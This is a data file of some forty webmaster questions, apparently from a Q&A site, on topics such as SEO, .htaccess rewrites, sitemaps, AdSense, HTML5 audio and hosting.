{"id":"17883","title":"Using <audio> in Firefox with JavaScript","text":"I am trying to implement background music on a website using the audio object, which is controlled by a JavaScript, I have posted a question about this before, @LazyOne explained that IIS will not serve unknown MIME types, and neither will the VS development server. I have now uploaded the site to an IIS 7 server, the MIME type for ogg is in place and when the site in accessed the server returns a 206 partial content (mozilla.org mentions that 206 responses are normal and expected for ogg files) and assessing the file directly works fine in Firefox (i.e. if you go to domain.com\/music\/file.ogg, it plays in the browser). and the file plays fine in the background if the autoplay attribute is set, but **it does not play via JavaScript**. Here is the JavaScript in question and relevant html: audioMusic.volume = 0.15; function playMusic(){ audioMusic.play(); } function stopMusic(){ audioMusic.pause(); } Relevant html: <html xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\"> <head> <title><\/title> <\/head> <body> <a href=\"javascript:void(0)\" onclick=\"playMusic()\">on<\/a> <a href=\"javascript:void(0)\" onclick=\"stopMusic()\">off<\/a> <audio id=\"audioMusic\" loop=\"loop\" preload=\"auto\"> <source src=\"\/Music\/music.ogg\" type=\"audio\/ogg\" \/> <source src=\"\/Music\/music.mp3\" type=\"audio\/mp3\" \/> <\/audio> <script type=\"text\/javascript\" src=\"\/Scripts\/music.js\"><\/script> <\/body> <\/html> More interesting facts: * the playMusic() function is called in firefox, if you add an alert at the beginning it does off, but it is not able to execute: audioMusic.play() * I have also tried document.getElementById(\"audioMusic\").play(); * Both document.getElementById(\"audioMusic\").play() and audioMusic.play() work in Chrome and IE, but not in firefox * I am using Firefox 5.0.1 (the latest) **Question:** how to control the audio element via JavaScript in Firefox?"}
{"id":"11331","title":"which product category to choose in magento","text":"I am newbie in magento. I am creating a **product** that is basically a **video file**. I want that whenever the user clicks on that product he is asked to buy different file sizes for that video like HD version, Sd version. So I thought to create a simple prduct with custom options of file size. **But I want your suggestion that whether I should create it as a downloadable product, configurable or simple product with custom options.** Basically I am confused as it needs to be a **downloadable product** where the different sizes video files are located at server for download or it can be **simple** product also just click and buy the particular product of file size or it cabn be **configurable** also. Please suggest.Thanx in advance."}
{"id":"11330","title":"Google says my site contains malware","text":"my clients site http:\/\/bit.ly\/dTOfGF (i used url shortener). I have tried everything to find the malware but i couldnt. I tried the Google checklist http:\/\/googlewebmastercentral.blogspot.com\/2007\/09\/quick-security-checklist- for-webmasters.html i checked for all script files in multiple browsers and couldn't find any... Strange thing is that Google reports that png files and 1 css has malware... Any help would be appreciated. Thanks!"}
{"id":"11334","title":"Recommendations on how to validate an web server?","text":"Does anyone know of any tools that can be run against web server to determine how compliant the server is with the various HTTP specs?"}
{"id":"11339","title":"Assuming unique user names \/ logins, do I also need a unique userID number in the DB?","text":"My users will login into a website using a login of their choosing, but which I will check against the DB to ensure unicity. Given this, should I also have a unique userID in the DB? This could be an autoincrement number and would be completely invisible to the users. Thanks, JDelage"}
{"id":"43223","title":"90% of 'links to your site' disappeared in Google Webmaster Tools","text":"I was going through Webmaster Tools and I noticed that under 'links to your site' there's only 40 links showing. Down from 700+ yesterday. I don't think it was anything to do with the quality of the sites linking in because some of them were quite high ranking blogs so I don't think it's Penguin related. This has happened to me once before on a previous site and after about a month or so they came back, so it's not something I'm super worried about, but it's really odd. Has anyone else experienced this? Or know why it happens? * * * Update - All links seem to have returned 20\/2\/13"}
{"id":"43227","title":"My Xmap generated sitemap is not being submitted","text":"I m using Joomla Xmap component for creating sitemap. Here is the URL of my Xmap generated Sitemap: http:\/\/www.acethehimalaya.com\/index.php?option=com_xmap&sitemap=1&view=xml I tried to submit my sitemap to Google but the problem I'm facing is that the URL doesn't get submitted and I'm having the issue that it says the sitemap is empty. Can Xmap generated sitemaps not be submitted, or am I doing anything wrong?"}
{"id":"32862","title":"joomla subscription ecommerce solution","text":"I am using Joomla and want to implement a subscription based ecommerce solution. I started using VirtueMart and noticed its shortcomings regarding subscription based recurring items. Turns out Virtuemart can take its own plugins and I found something called SimSu which I don't want to pay for. I feel like I have taken a nuke to a knife fight, as I only need one or two subscription based products on this site. They will be recurring payments. Is anyone familiar with a solution for this issue?"}
{"id":"32863","title":"server downtime solution?","text":"I am managing a few sensitive websites, that need to be up and running 24\/7 how ever I worked with many VPS and dedicated server providers over the time. The problem is that downtime is inevitable, at least for a few hours a year and my client is pinging the websites round the clock. Is there any solution like automatic switching DNS or hosting on 2 servers from 2 different providers and is there a way for syncing the data between servers before actual sinking."}
{"id":"19101","title":"What is difference between URI and URL","text":"I have read these pages * http:\/\/www.w3.org\/TR\/uri-clarification\/ * http:\/\/www.damnhandy.com\/2007\/11\/19\/uri-vs-url-whats-the-difference\/ I know basic about URL,URN,URI! and little on their difference! but the thing I cannot understand is in a page like: `http:\/\/www.bernzilla.com\/item.php?id=100` which part is URL,URN and URI! URI is whole part but URL and URN?? picture from wikipedia  Edit: from w3c.org: a URL is a type of URI that identifies a resource via a representation of its primary access mechanism (e.g., its network \"location\"), rather than by some other attributes it may have. from www.damnhandy.com: it is now considered incorrect to use URL when describing applications. Now is id an attribute?what about application part? is php an application?"}
{"id":"32867","title":"Does using spaces in a URL affect SEO?","text":"When creating URLs for my website I need to use a space, for example `http:\/\/mydomain.com\/start home` I've seen some sites using `+` or `-`, what are the advantages of using `space`, `+` and `-` (dashes) in SEO? What is better to use for URL formatting? Should I use `http:\/\/mydomain.com\/start-home` or `http:\/\/mydomain.com\/start+home`?"}
{"id":"5719","title":"How to show BBC in smf fourm show when new topic?","text":"BBC in smf fourm not show when new topic. How to setting its? I tried for find setting thanks"}
{"id":"51038","title":"Bounce rate nearly 100% in Safari AND Firefox?","text":"Our website has a bounce rate of nearly 100% in both Firefox and Safari, and around ~40% in all other browsers. The bounces span all versions of each browser and both operating systems. I cannot recreate any error in either browser on any of my computers, and I'm not getting any php errors on my server. Firebug isn't throwing any javascript errors. The most prevalent google result for Safari is that top sites is skewing the bounce rate. But this seems extreme, and the addition of firefox pretty much rules it out. This one really has me confused. I've been googling for weeks to no avail. Our home page bounce rate is very low across all browsers. Any insight whatsoever, including what types of errors would cause safari and firefox to respond identically to would be greatly appreciated. (the offending landing page is http:\/\/www.livesportstickets.com\/wrestling\/wwe-tickets.php)"}
{"id":"19109","title":"How to handle redirects & http status codes at urls where a product becomes unavailable?","text":"I have this use case that happens frequently: Lots of products for sale, periodically a percentage goes out of stock. A user still browses in on the old url, to a location where a product used to be. I want to redirect them to a search page, and notify them that the product is no longer available, and try to provide them with alternatives. At the same time, I want to notify automated services (search engines, shopping engines) that that specific product is gone, in order to prevent continued hits to the urls in question. What ways are there for gracefully handling this? Edit: I'm refactoring\/recoding the site in custom php code. I also do have a dedicated 404 page, with links to places on the site, etc, but don't really want to duplicate the search page's functionality on the 404 page when a system is already in place in a different php script, and for most 404's I already have a more generic suggestion for alternatives."}
{"id":"64644","title":"Domain in PENDINGDELETE, question about drop","text":"A domain I want is in the pendingDelete stage according to WHOIS. I have been monitoring it since redemptionPeriod, and it entered into pendingDelete 5 days ago today. After checking a few services (SnapNames, etc), they report it is scheduled to drop on the 11th (7 days, by my calculations). I'm not quite sure what to believe. The domain isn't _highly_ valuable. It is to me and one other company. I can see no backorders placed on the big name sites, so I'm thinking of trying to get it without a backorder service. Any insight as to when it will **actually** drop? I've read 11AM-2PM PST, but I'm unsure. Thanks."}
{"id":"58094","title":"Is it possible to filter or segment an event on a user's eCommerce value?","text":"Basically if you have an event set up, lets call it \"Bought an Upsell\", assume that it has all appropriate values set up, Action, category, label, value, noninteraction. is there a way to answer the question, who triggered this event, where their check was less than $15? Also API metrics, dimensions, filters, segments, would be highly preferred to anything in the online GUI. TIA For any help."}
{"id":"61654","title":"Redirect Google crawler to different robots.txt via .htaccess","text":"I have googled for the answer all day and still couldn't find an answer. I have a virtual subdomain `www.static.example.com` which is a mirror site of `www.example.com`. It means I have just one root folder for subdomain and domain aswell. I want to redirect crawlers to different `robots.txt` file - `robots_static.txt` when they see `.static` in url in which I will forbid indexing via `\/disallow` command. I want to do this because I have duplicated content in Google search results. Subdomain is showing the exact same content as the main domain. Does anyone know how could I achieve that crawlers sees `robots_static.txt` instead of `robots.txt`? What I have managed to find so far is this: RewriteCond %{HTTP_HOST} ^www.static.*$ [NC] RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\\ \/.*robots\\.txt.*\\ HTTP\/ [NC] RewriteRule ^robots\\.txt \/robots_static.txt [NC,L] but when I check in webmaster tools, it still sees `robots.txt` as my robots file instead of `robots_static.txt`, so it crawls and index everything twice. What did I do wrong? Thanks EDIT: This is my `.htaccess` file ## # @package Joomla # @copyright Copyright (C) 2005 - 2013 Open Source Matters. All rights reserved. # @license GNU General Public License version 2 or later; see LICENSE.txt ## ## # READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE! # # The line just below this section: 'Options +FollowSymLinks' may cause problems # with some server configurations. It is required for use of mod_rewrite, but may already # be set by your server administrator in a way that dissallows changing it in # your .htaccess file. If using it causes your server to error out, comment it out (add # to # beginning of line), reload your site in your browser and test your sef url's. If they work, # it has been set by your server administrator and you do not need it set here. ## ## Can be commented out if causes errors, see notes above. Options +FollowSymLinks ## Mod_rewrite in use. RewriteEngine On RewriteEngine On RewriteCond %{HTTP_HOST} !^www\\. RewriteRule ^(.*)$ http:\/\/www.%{HTTP_HOST}\/$1 [R=301,L] RewriteCond %{HTTP_HOST} ^www.static.*$ [NC] RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\\ \/.*robots\\.txt.*\\ HTTP\/ [NC] RewriteRule ^robots\\.txt \/robots_static.txt [NC,L] ## Begin - Rewrite rules to block out some common exploits. # If you experience problems on your site block out the operations listed below # This attempts to block the most common type of exploit `attempts` to Joomla! # # Block out any script trying to base64_encode data within the URL. RewriteCond %{QUERY_STRING} base64_encode[^(]*\\([^)]*\\) [OR] # Block out any script that includes a <script> tag in URL. RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR] # Block out any script trying to set a PHP GLOBALS variable via URL. RewriteCond %{QUERY_STRING} GLOBALS(=|\\[|\\%[0-9A-Z]{0,2}) [OR] # Block out any script trying to modify a _REQUEST variable via URL. RewriteCond %{QUERY_STRING} _REQUEST(=|\\[|\\%[0-9A-Z]{0,2}) # Return 403 Forbidden header and show the content of the root homepage RewriteRule .* index.php [F] # ## End - Rewrite rules to block out some common exploits. ## Begin - Custom redirects # # If you need to redirect some pages, or set a canonical non-www to # www redirect (or vice versa), place that code here. Ensure those # redirects use the correct RewriteRule syntax and the [R=301,L] flags. # ## End - Custom redirects ## # Uncomment following line if your webserver's URL # is not directly related to physical file paths. # Update Your Joomla! Directory (just \/ for root). ## # RewriteBase \/ RewriteCond %{THE_REQUEST} ^GET.*index\\.php [NC] RewriteCond %{THE_REQUEST} !\/system\/.* RewriteRule (.*?)index\\.php\/*(.*) \/$1$2 [R=301,L] RewriteCond %{THE_REQUEST} ^GET ## Begin - Joomla! core SEF Section. # RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] # # If the requested path and file is not \/index.php and the request # has not already been internally rewritten to the index.php script RewriteCond %{REQUEST_URI} !^\/index\\.php # and the request is for something within the component folder, # or for the site root, or for an extensionless URL, or the # requested URL ends with one of the listed extensions RewriteCond %{REQUEST_URI} \/component\/|(\/[^.]*|\\.(php|html?|feed|pdf|vcf|raw))$ [NC] # and the requested path and file doesn't directly match a physical file RewriteCond %{REQUEST_FILENAME} !-f # and the requested path and file doesn't directly match a physical folder RewriteCond %{REQUEST_FILENAME} !-d # internally rewrite the request to the index.php script RewriteRule .* index.php [L] # ## End - Joomla! core SEF Section. <FilesMatch \"\\.(ico|pdf|flv|jpg|ttf|jpg|jpeg|png|gif|js|css|swf)$\"> Header set Expires \"Wed, 15 Apr 2020 20:00:00 GMT\" Header set Cache-Control \"public\" <\/FilesMatch> <ifModule mod_headers.c> Header set Connection keep-alive <\/ifModule> ########## Begin - Remove Etags # FileETag none # ########## End - Remove Etags"}
{"id":"61657","title":"Google update on 3\/9\/14 has caused loss of sitemap indexed pages. I have no Idea what's going on","text":"I was up to at least 30 blog posts indexed out of maybe 40. That number was slowly climbing. Then the update came along and while we've been adding posts, the total indexed number has been going down. I've noticed this primarily from the update in April. As to what the update entails that would cause this to happen is baffling. We're down to 19 indexed posts at the moment. Google in its crawl stats claims it has 25, which is still less than what we should have. Has anyone else had this problem? Sure this is a small blog, but that's less reason for it not working perfectly. I see this spirally to the point where we have no indexed pages. I've seen other posts regarding indexes, for instance: Google indexes some of pages, but most are ignored from a website, even though a massive sitemap is submitted but I'm losing pages here Will provide more data per basis What's a good way to mitigate this problem? What can I do to make sure this problem doesn't happen again? and what are good indicators that I have a problem in the first place? External resources welcome. I've been searching the blogosphere but it's primarily general information."}
{"id":"61300","title":"How to change cPanel URL? Example: mydomain.com\/cpanel","text":"I want to change my website's cPanel URL\/path for security reasons. I have a VPS with shell root access, running centOS 6.5 64-bit. I want to change cPanel path for my website on the VPS to be something complicated like (mydomain.com\/dj73db\/dndpanel\/) instead of (mydomain.com\/cpanel). Does anyone knows how can this be done on a VPS environment? Appreciate your answers."}
{"id":"60309","title":"My Server is returning a 404 instead of 403 when access if forbidden - is it good or bad?","text":"via .htaccess, I forbid access to folders that have no index page inside (`domain.com\/images` for example), and also block my site completely for several user-agents (such as `wget`). When I test to see what these kind of users see when accessing my website on each of these occasions, The error message that is displayed is something like: > \"Forbidden > > You don't have permission to access \/images\/ on this server. > > Additionally, a 404 Not Found error was encountered while trying to use an > ErrorDocument to handle the request.\" The title is 403 error, but in my server logs I see that the server is returning a 404 error. So - Is this \"good\" or \"bad\"? What does the above message means?"}
{"id":"35487","title":"How to handle new domain names?","text":"I have a new product which I'll call a pen ink reloader. I have a website using my products name, for example, www.inkywink.com which I want to have accessed by searches for keywords such as \"pen ink\", \"pen out of ink\" \"ink for pens\" etc. , since nobody knows that a pen ink reloader exists. I see that its quite difficult to get on front page for these keywords since they have lots of competition. However I notice that the exact phrases I want to rank highly for are available as domains. I purchase \"www.penink.com\" and \"penoutofink.com\" which for arguments sake are highly searched and the perfect keywords to get eyes on my money site www.inkywink.com . 1. What is my best option to leverage those names so that they appear near top of searches so that I can get traffic to my money site? Do I just have them redirect 301 to inkywink.com or should I create small original content on each with links to my main site? 2. If I just have them redirected to inkywink.com, am I able to use keywords in metatag and headers for each site separately or do they all automatically obtain the same headers and tags as the site to which they're redirected ? Thanks to anyone who can help as I'm a real newbie to all this."}
{"id":"23836","title":"Beginner's Apache mod_rewrite - use custom file for website root","text":"Plain and simple - I want user to get main.php file instead of index.php, when he enters website. Such a straightforward task has caused me a lot of pain, and couple of hours googling. Following does not work: Options +FollowSymLinks RewriteEngine On RewriteRule ^\/$ \/subdomain\/main.php This doesn't work either: Options +FollowSymLinks RewriteEngine On RewriteRule ^\/$ http:\/\/localhost\/subdomain\/main.php Where is the problem? P.S. The rules are placed in `.htaccess` in `\/subdomain` directory. I'm using WAMP, if it matters. P.P.S. Logs show \"File not found\" message."}
{"id":"23346","title":"Can a web-server be reached in other ways than through `HTTP` or externally?","text":"**A server hosting an application built in PHP:** 1. Can the server be reached in other ways than through `HTTP` or externally? 2. Is `GET` and `POST` only populated through the HTTP protocol? 3. Is `HTTP` headers, `GET` and `POST` the only source of input for a server\/web application? 4. Is connecting to a website with `telnet` any different than with a browser? 5. What other access points exist? Do they pose a security threat? Common ways to counter them?"}
{"id":"23340","title":"How can I replicate Google Page Speed's lossless image compression as part of my workflow?","text":"I love that Google's Page Speed is able to losslessly compress a lot of my images, but I'd love to make it part of my workflow, prior to uploading a site and making it live. Is there anything I can run locally to give me the same lossless compression? I currently export images from Export For Web from Photoshop, and use a little application called PNGCrusher to reduce file size of PNGs. I'd love to find a faster way though than saving out and replacing the individual images from Page Speed's results."}
{"id":"25413","title":"Is feeding Googlebot and Bingbot crawlers with \"special\" data common thing in rich internet applications?","text":"So I faced next problem: my server and my rich internet application (RIA) client are using\/generating so much JSON data that is rendered on fly even on just page creation complete that standard dull no js crawler will see not much data on my site. I know about progressive enhancement and unobtrusive JavaScript but they (crawlers) tend sometimes not use JS at all. Even my mobile phone can do such thing!). I can always open chrome or some adobe air app like Scout and get parsed HTML and all links it really has. Demo (dull html): <!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.01\/\/EN\" \"http:\/\/www.w3.org\/TR\/html4\/strict.dtd\"> <html lang=\"en\"> <html> <head> <title>Cloud Server Services Selection Menu<\/title> <meta charset=\"UTF-8\" \/> <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\"> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> <meta name=\"description\" content=\"Services List\" \/> <meta name=\"keywords\" content=\"art, navigation, C++, services, web, web-services, exibition\" \/> <meta name=\"author\" content=\"CF2011\" \/> <meta http-equiv=\"content-type\" content=\"text\/html; charset=UTF-8\"> <!-- End Of Info--> <!-- CF CSS --> <!--[if gte IE 9]> <style type=\"text\/css\"> .gradient { filter: none; } <\/style> <![endif]--> <link rel=\"stylesheet\" href=\"css\/cf.css\"> <link rel=\"stylesheet\" href=\"css\/cf.index.application.css\"> <!-- End of CF CSS--> <!-- Public JS--> <script type=\"text\/javascript\" src=\"js\/jquery-1.7.1.min.js\"> <\/script> <script type=\"text\/javascript\" src=\"js\/tempo.min.js\"> <\/script> <!-- End Of Public JS--> <!-- CF JS --> <script type='text\/javascript' src=\"js\/cf.js\"><\/script> <!-- End Of CF JS--> <\/head> <body> <div class=\"container\"> <div> <h1 class=\"head\"><a href=\"#\"><p>Cloud Server<span>Exhibition of Public Services & Their Interaction<\/span><\/p><\/a><\/h1> <\/div> <div> <ol id=\"marx-brothers3\"> <div data-template> <ul class=\"ca-menu\"> <li> <a href=\"{{url}}\"> <!--<span class=\"ca-icon\"><p>{{icon}}<\/p><\/span> --> <div class=\"ca-content\"> <h2 class=\"ca-main\">{{name}}<\/h2> <h3 class=\"ca-sub\">{{description}}<\/h3> <\/div> <\/a> <\/li> <\/ul> <\/div> <li data-template-fallback> Sorry, JavaScript required! <\/li> <\/ol> <\/div> <div> <\/div> <\/div> <script type=\"text\/javascript\"> $(document).ready(function() { var services = Tempo.prepare('marx-brothers3'); services.starting(); $.getJSON(\"server.json\", function(data) { services.render(data); }); }); <\/script> <\/body> <\/html> Parsed data with removed script tags: <html lang=\"en\"><head> <title>Cloud Server Services Selection Menu<\/title> <meta charset=\"UTF-8\"> <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\"> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> <meta name=\"description\" content=\"Services List\"> <meta name=\"keywords\" content=\"art, navigation, C++, services, web, web-services, exibition\"> <meta name=\"author\" content=\"CF2011\"> <meta http-equiv=\"content-type\" content=\"text\/html; charset=UTF-8\"> <!-- End Of Info--> <!-- CF CSS --> <!--[if gte IE 9]> <style type=\"text\/css\"> .gradient { filter: none; } <\/style> <![endif]--> <link rel=\"stylesheet\" href=\"css\/cf.css\"> <link rel=\"stylesheet\" href=\"css\/cf.index.application.css\"> <!-- End of CF CSS--> <\/head> <body cz-shortcut-listen=\"true\"> <div class=\"container\"> <div> <h1 class=\"head\"><a href=\"#\"><p>Cloud Server<span>Exhibition of Public Services & Their Interaction<\/span><\/p><\/a><\/h1> <\/div> <div> <ol id=\"marx-brothers3\"> <li data-template-fallback=\"\" style=\"display: none; \"> Sorry, JavaScript required! <\/li> <div data-template=\"\"> <ul class=\"ca-menu\"> <li> <a href=\"images.html\"> <!--<span class=\"ca-icon\"><p>default_service_icon.png<\/p><\/span> --> <div class=\"ca-content\"> <h2 class=\"ca-main\">Image Renderer Service<\/h2> <h3 class=\"ca-sub\">Service for images rendering, transcoding, mapping.<\/h3> <\/div> <\/a> <\/li> <\/ul> <\/div><div data-template=\"\"> <ul class=\"ca-menu\"> <li> <a href=\"observer.html\"> <!--<span class=\"ca-icon\"><p>default_service_icon.png<\/p><\/span> --> <div class=\"ca-content\"> <h2 class=\"ca-main\">Observer Service<\/h2> <h3 class=\"ca-sub\">Demo service for public video conferencing, it does not require user account and its free!<\/h3> <\/div> <\/a> <\/li> <\/ul> <\/div><div data-template=\"\"> <ul class=\"ca-menu\"> <li> <a href=\"ufs.html\"> <!--<span class=\"ca-icon\"><p>default_service_icon.png<\/p><\/span> --> <div class=\"ca-content\"> <h2 class=\"ca-main\">Users Files Service<\/h2> <h3 class=\"ca-sub\">Service for user personal and publicly avaliable files storing and managing.<\/h3> <\/div> <\/a> <\/li> <\/ul> <\/div><\/ol> <\/div> <div> <\/div> <\/div> <div id=\"cf-footer\" style=\"position:fixed;min-height:20px;height:auto !important;height:20px;background-color:#3f3b8d;background-color:rgba(0,0,0,0.6);bottom:0; width:100%\"><p id=\"cf-footer-paragraph\" style=\"font-size: 8pt\"> Copyright © 2012 <a id=\"rol\" href=\"#cloudobserver\" onclick=\"{ newwindow=window.open('http:\/\/code.google.com\/p\/cloudobserver\/','CloudObserver','height=750,width=900'); if (window.focus) {newwindow.focus()}}\">Cloud Forever<\/a>. Some rights reserved. <\/p><div><\/div><\/div><\/body><\/html> If I save that parsed data and open it up in a browser I would see all that real user will see and all I want crawlers to see. I already see me creating a chrome browser API based service that will work like normal file service for usual users and would be sending rendered HTML pages for crawlers. Do such services exist already? Does any one use them? What could be the crawlers' author's opinion on such services?"}
{"id":"47109","title":"Can front end code cause an application error in a CMS user interface?","text":"I'm not sure if this is the appropriate place for this question, but here it goes. I'm using a Ruby based CMS (which shall remain nameless) which has been throwing an application error when I try to update a piece of my site. Tech support seems to think that my front end: jQuery, CSS, HTML may be the cause. Is this even possible?"}
{"id":"11482","title":"Is it okay to use persian utf-8 characters in our urls?","text":"It's best for SEO purposes that we use the main page keywords in our urls For example stackoverflow uses this technique too. http:\/\/stackoverflow.com\/questions\/show-utf8-characters-in-console I wonder if it's okay to use something like: http:\/\/www.mobadele.com\/categories\/طلا-نفره"}
{"id":"11480","title":"why host video on Amazon S3 instead of hostgator","text":"i have some videos- flash that i want to host on my blog. should i use Amazon S3 or can i host it using my hostgator account. any ideas"}
{"id":"42850","title":"Fixing Google Chrome text antialias for .ttf fonts","text":"I have found a topic which presents a solution on how to get antialising working in Google Chrome - Windows, but they use `.svg` format. I have a `.ttf` format and I import all of my fonts like this at the moment: @font-face {font-family: \"t1\"; src: url(..\/fonts\/title\/circle.ttf);} @font-face {font-family: \"t2\"; src: url(..\/fonts\/title\/sanserifing.ttf);} @font-face {font-family: \"t3\"; src: url(..\/fonts\/title\/serveroff.ttf);} @font-face {font-family: \"t4\"; src: url(..\/fonts\/title\/pupcat.ttf);} How can I achieve antialising done right in Google Chrome Windows?"}
{"id":"48224","title":"meta robots for logged in vs. not logged in users","text":"On a site I'm working on, The homepage has generic content for visitors who aren't logged in. When a user is logged in, the content shown is personalized to them and could even be considered private. So when a user is not logged in: url: `http:\/\/mydomain.com` `<meta name=\"robots\" content=\"index, follow\">` When a user is logged in: url: `http:\/\/mydomain.com` `<meta name=\"robots\" content=\"noindex, nofollow\">` Since both URLs are the same, are there any SEO concerns since the robots directives are different? Is it better to send the user to a different URL for their personalized homepage, and why?"}
{"id":"68854","title":"AdSense: Beginner questions","text":"I am completly new to adsense, although I read service disclaimer, their adsense academy information page etc. I still have questions I want to ask you. ### 1. Two adsense units on same page If I put two units to my page, both units should have same class \"adsbygoogle\" and I need only one usage of these scripts, am I right? <script async src=\"\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js\"><\/script> <script>(adsbygoogle = window.adsbygoogle || []).push({});<\/script> ### 2. Unit width\/height Can I change width height of unit in its source code. Are there any problems if unit does not have a standard size, recommended by google? For example with image adverts? <ins class=\"adsbygoogle\" style=\"display:inline-block;width:336px;height:280px\" ... ### 3. How can I let google know when my adsense is ready? My adsense account is approved, now I have to create my units, then google will check it. Until will be checked only empty space will display on my page. How can I let google now, that my units are ready to be checked? ### 4. Self clicks What if, for example, I misclick to adsense in my own page, it automatically means that my account will be blocked? Isn't it too hard? How can I protect myself against this? My colleagues at work or neighbour in summer cottage share same IP address with me. Does it mean that if they click to adsense, google will penalize me? ### 5. Addblocks Almost all people I know use addblocks. So I assume that majority of people will not notice any adsense on my webpages. Is there any way how to avoid this and bypass addblocks, or not? What are you experience with adsense income and addblock? Thank you for any advice."}
{"id":"65820","title":"HTML Character Entities\/Special characters with crossbrowser\/crossplatform support?","text":"I used some good looking ones from http:\/\/dev.w3.org\/html5\/html-author\/charref on my site but I just noticed that they don't show on mobile browsers of Android. For example: * ⪦ `⪦` * ⪢ `⪢` Which special characters and HTML Character Codes (entities) have crossbrowser\/crossplatform support?"}
{"id":"65825","title":"Optimizing for multiple keywords using different internal anchor text for the same page","text":"I have a website with breadcrumb navigation and an additional header navigation. The header navigation is not static and looks different depending on where on the site it is located. My idea is to mix the anchor texts in the header navigation and breadcrumb navigation. So for example I have 3 keywords for each page and would mix them just algorithmically. Example: From the navigation i link from 60 pages to one and the same subpage. The anchor texts distribution is 20x KW1, 20x KW2, 20x KW3. The idea behind is to describe the content wider that the user will find on the subpages. Does someone have any experience with such cases and know of advantages or disadvantages?"}
{"id":"38525","title":"Site gone from Google due to dmca complain","text":"My sites traffic gone null but after Google receive one DMCA complain for my site. My site is a MP3 search engine so I can index copyright MP3 out of my knowledge. I received a message in webmasters tools in and I have removed the copyright content from my site but traffic from Google is not increasing. Questions * What is the problem? * Do I need to tell Google that I have removed the copyright content from my site? * If yes then why I have lost my site traffic from Google forever?"}
{"id":"5099","title":"how far do you go with creating subfolders for content?","text":"When you create a site (small, static content) how far do you go with folder detail? Do you have a \/images folder in the site root, or \/content\/images or \/images\/site, \/images\/public? I'm one of these people who likes things to be \"just so\" in regards to folders, but what's the best way to do it?"}
{"id":"43484","title":"How to remove www from both http and https","text":"I've got an ecommerce site where we're have some reports (random) of the cart not operating correctly. I think it might be due to removing www not working with https my current htaccess code looks like this: # remove the www RewriteBase \/ RewriteCond %{HTTP_HOST} ^www.domain.com$ [NC] RewriteRule ^(.*)$ http:\/\/domain.com\/$1 [R=301,L] What do I need to do to also force this on https?"}
{"id":"1475","title":"Which payment provider, such as PayPal, should I use for marketplace style site?","text":"Let's say I'm making a site similar to e-bay (connecting buyers and sellers). Which payment provider should I use as of today?"}
{"id":"43480","title":"Does Google penalize for H1 & H2 that are not human readable?","text":"I was curious how a competitor's Web site was ranking so high for many of my keywords, especially since the company is located in another city. Looking through their source code I noticed at the top of every page the following coding was being used: <div class=\"content\"><h1 class=\"SEOnly\">keyword, keyword, keyword, so on<\/h1> <h2 class=\"SEOnly\">keyword CITY, keyword CITY, keyword CITY, so on<\/h2> The CSS class \"SEOonly\" reads \"height:1px;\" essentially making the text in both unreadable to Humans and the top of their content section clean, but Google is certainly indexing all of this. Are either of these acceptable SEO that I should be implementing on my Website? I am using a Wordpress framework with my own custom theme, a fair amount of images with good ALT tags and a robust SEO plugin. However it appears these guys know a heck of a lot more than me."}
{"id":"25162","title":"How to host a subdomain of a domain which is associated with blogger?","text":"I have a domain `www.example.com` which is hosted on Blogger platform. Is any hosting site like Blogger, WordPress where I can host my sub-domain like `abc.example.com`? My original website `www.example.com` will be always hosted into the Blogger platform. If I want to host any of my sub-domains on another hosting site which supports HTML, is it possible?"}
{"id":"55685","title":"\"https:\/\/\" refers to random site, \"http:\/\/\" is broken, but \"http:\/\/www\" works","text":"I'm running a website which is acting extremely strange. * At the time of writing, this link works: `http:\/\/www.example.com` * This link doesn't: `http:\/\/example.com` * But it does work if you copy\/paste it and run it in Incognito... * This link (after ignoring a warning) serves a totally unrelated and unknown website: `https:\/\/example.com` I have no idea how to debug this issue. I have contacted the hosting and domain company to investigate the issue. How is the last issue even possible?"}
{"id":"7244","title":"Help with cron syntax","text":"I need to setup a cronjob on my webhost. The documentation for my webapp reads as follows: > you will need to create following cronjob: \/public_html\/cake\/console\/cake > -app \/public_html\/app master Also, I want any output written to a log file. My hosts documentation says this: > You can have cron send an email everytime it runs a command. If you do not > want an email to be sent for an individual cron job you can redirect the > command's output to \/dev\/null like this: mycommand >\/dev\/null 2>&1 I don't know the syntax to implement this from a cron job."}
{"id":"16598","title":"Will an incorrect change frequency in my XML sitemap harm my website?","text":"What happens if I set the change frequency of a page to daily and don't update it daily? Will this make search engine blacklist my site? What is the accepted changefreq to balance search indexing ?"}
{"id":"58663","title":"rel=nofollow, JavaScript slider content, SEO","text":"My website has all content on one page. I'm using JavaScript to slide (animate) between the various \"subpages\", so only the subpage content is shown. The menu buttons are as this: `<a href=\"#welcome\">Welcome<\/a>` with a `return false`. In regards to Google, other bots and SEO, would it be best to use `rel=\"nofollow\"` on those menu links? I mean, the menu links don't point to anything, only when viewing with a browser"}
{"id":"38416","title":"Sales tracker that allows complex queries?","text":"On a site, every click on a product should be registered by a sales tracker: _price, type, etc._ The sales tracker should provide an API so that complex queries can be performed, such as: _Which products of a type \"teapot\" had a price below 20 EUR?_ Requirements: * Recorded data should be available for querying no later than two hours after it has been recorded. For example, there are reports that Google Analytics may take up to 24h to update data. That is not acceptable. * Querying doesn't need to be fast, but recording does (of course). **Which sales tracker allows complex queries against collected data?**"}
